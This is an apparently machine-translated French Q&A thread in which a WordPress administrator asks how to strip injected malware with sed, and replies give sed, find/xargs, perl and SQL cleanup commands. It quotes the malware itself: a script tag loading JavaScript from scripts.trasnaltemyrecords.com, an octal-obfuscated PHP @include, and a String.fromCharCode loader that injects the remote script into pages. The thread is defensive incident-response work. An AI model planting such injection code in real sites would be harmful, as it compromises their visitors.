web-dev-qa-db-fra.com

Comment remplacer une chaîne entière en utilisant sed ou éventuellement grep

Donc, tout mon serveur a été piraté ou a rencontré un problème de malware. mon site est basé sur WordPress et la majorité des sites hébergés sur mon serveur est WordPress basé. Le pirate a ajouté cette ligne de code à chaque fichier et dans base de données

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Je l'ai cherché via grep en utilisant

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

J'essaie de le remplacer dans toute la structure du fichier par sed et j'ai écrit la commande suivante.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

J'essaie de remplacer la chaîne sur un seul fichier index.php d'abord, donc je sais que ça marche.

et je sais que mon code est faux. S'il vous plait, j'ai besoin de votre aide avec ceci.

J'ai essayé avec le code @ Eran et il a supprimé toute la ligne, ce qui est bien et comme prévu. Cependant, le jargon total est le suivant

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Et bien que je souhaite supprimer tout le contenu, je souhaite conserver la balise d'ouverture php <?php.

Bien que la solution de @ slybloty soit facile et a fonctionné.

afin de supprimer complètement le code de tous les fichiers concernés. J'exécute les 3 commandes suivantes, merci à vous tous pour cela.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Pour supprimer la ligne de script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Pour supprimer le @include ligne
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Pour supprimer la ligne de commentaire

De plus, j'ai exécuté à nouveau les 3 commandes pour '*.html', car le script du pirate a créé un index.html indésirable dans tous les répertoires. Je ne savais pas si la suppression de ces index.html en bloc était la bonne approche.

maintenant, j'ai encore besoin de comprendre les fichiers indésirables et leurs traces.

Le script pirate a également ajouté le code JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

J'essaie de voir si je peux sed aussi.

10
Dilip Gupta

Quelle que soit la méthode que vous décidez d'utiliser avec sed, vous pouvez exécuter plusieurs processus simultanément sur plusieurs fichiers avec des options de filtrage parfaites avec find et xargs. Par exemple:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Ce sera:

  • find - trouver
  • -type f - uniquement les fichiers
  • -name '*.txt' - ça finit avec php
  • -print0 - les pritn séparés par zéro octet
  • | xargs -0 - pour chaque fichier séparé par zéro octet
  • -P7 - exécuter 7 processus simultanément
  • -n1 - pour chaque fichier
  • sed - pour chaque fichier exécuté sed
  • -i - éditer le fichier sur place
  • '...' - le script sed que vous souhaitez exécuter à partir d'autres réponses.

Vous voudrez peut-être ajouter -t option à xargs pour voir la progression. Voir man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

2
KamilCuk

Les guillemets simples sont pris littéralement sans caractères d'échappement. Dans var='hello\'', Vous avez un devis non fermé.

Pour résoudre ce problème, 1) Utilisez des guillemets doubles pour entourer la commande sed OU 2) Mettez fin à la chaîne entre guillemets, ajoutez \', Puis rouvrez la chaîne de citation.

La deuxième méthode est cependant plus confuse.

De plus, sed peut utiliser n'importe quel délimiteur pour séparer les commandes. Comme vous avez des barres obliques dans les commandes, il est plus facile d'utiliser des virgules. Par exemple, en utilisant la première méthode:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

En utilisant la deuxième méthode:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Cet exemple est plus éducatif que pratique. Voici comment fonctionne '\'':

': Fin de la chaîne littérale entre guillemets

\': Entrez un guillemet simple comme caractère littéral

Deuxième ': Entrez à nouveau la chaîne littérale entre guillemets

Tant qu'il n'y aura pas d'espace, vous continuerez simplement votre commande sed. Cette idée est unique à bash.

Je laisse les échappés < Et > Là-dedans parce que je ne suis pas tout à fait sûr de ce que vous utilisez. sed utilise \< et \> pour désigner la correspondance Word. Je ne sais pas si c'est intentionnel ou non.

Si cela ne correspond à rien, vous voudrez probablement éviter d'échapper aux < Et >.

Edit: Veuillez voir la solution de @ EranBen-Natan dans les commentaires pour une solution plus pratique au problème réel. Ma réponse est davantage une ressource expliquant pourquoi OP a été invité à entrer davantage de données avec sa commande d'origine.

Solution pour l'édition 2

Pour que cela fonctionne, je fais l'hypothèse que votre sed a l'option non standard -z. GNU de sed devrait avoir ceci. Je fais également l'hypothèse que ce code apparaît toujours au format de 6 lignes)

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Comment cela fonctionne: nous utilisons le début de la ligne fromCharCode pour tout faire correspondre. -z Divise le fichier en valeurs nulles au lieu de nouvelles lignes. Cela nous permet de rechercher directement des sauts de ligne.

[^\n]*\n - Cela correspond à tout jusqu'à un saut de ligne, puis correspond au saut de ligne, en évitant la correspondance de regex gourmande. Parce que nous ne divisons pas les sauts de ligne (-z), L'expression régulière var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n correspond à la plus grande correspondance possible. Par exemple, si \n}\n Apparaît quelque part plus bas dans le fichier, vous supprimez tout le code entre celui-ci et le code malveillant. Ainsi, répéter cette séquence 6 fois nous correspond à la fin de la première ligne ainsi qu'aux 5 lignes suivantes.

grep -lr - Juste un _ récursif grep où nous listons uniquement les fichiers qui ont le modèle correspondant. De cette façon, sed ne modifie pas tous les fichiers. Sans cela, -i.bak (Pas simple -i) Ferait un gâchis.

2
Jason

Utilisez des guillemets doubles (") pour la chaîne et n'échappez pas aux guillemets simples (') ni les balises (<>). N'échappez qu'aux barres obliques (/).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
2
slybloty

Avez-vous installé le plugin wp-mail-smtp? Nous avons le même malware et nous avons eu quelque chose de bizarre dans wp-content/plugins/wp-mail-smtp/src/Debug.php.

De plus, le lien javascript se trouve dans chaque post_content champ dans wp_posts dans la base de données WordPress.

1
skuroedov

J'ai la même chose aujourd'hui, tous les messages de la page ont ajouté ce script de virus méchant

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Je l'ai dissocié de la base de données par

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Je n'ai pas de fichiers infectés au moins

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

n'a rien trouvé, mais je ne sais pas comment cela est entré dans la base de données à partir de laquelle je ne suis pas du tout calme.

Cette infection a provoqué des redirections sur les pages, chrome détecte et bloque principalement cela. Je n'ai rien remarqué d'étrange dans - /wp-mail-smtp/src/Debug.php

0
Jiro Matchonson

J'ai la même chose aujourd'hui, tous les messages de la page ont ajouté le script. J'ai réussi à les gérer avec succès en utilisant https://en.wordpress.org/plugins/search-and-replace/ plugin.

De plus, j'ai également trouvé un enregistrement dans la table wp_posts de la colonne post_content en suivant la chaîne:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

et l'a supprimé manuellement.

0
mik013

Pour moi, cela a fonctionné:

    find ./ -type f -name '*.js' |  xargs Perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Vous devez rechercher: * .js, * .json, * .map

0
Vladimír Malík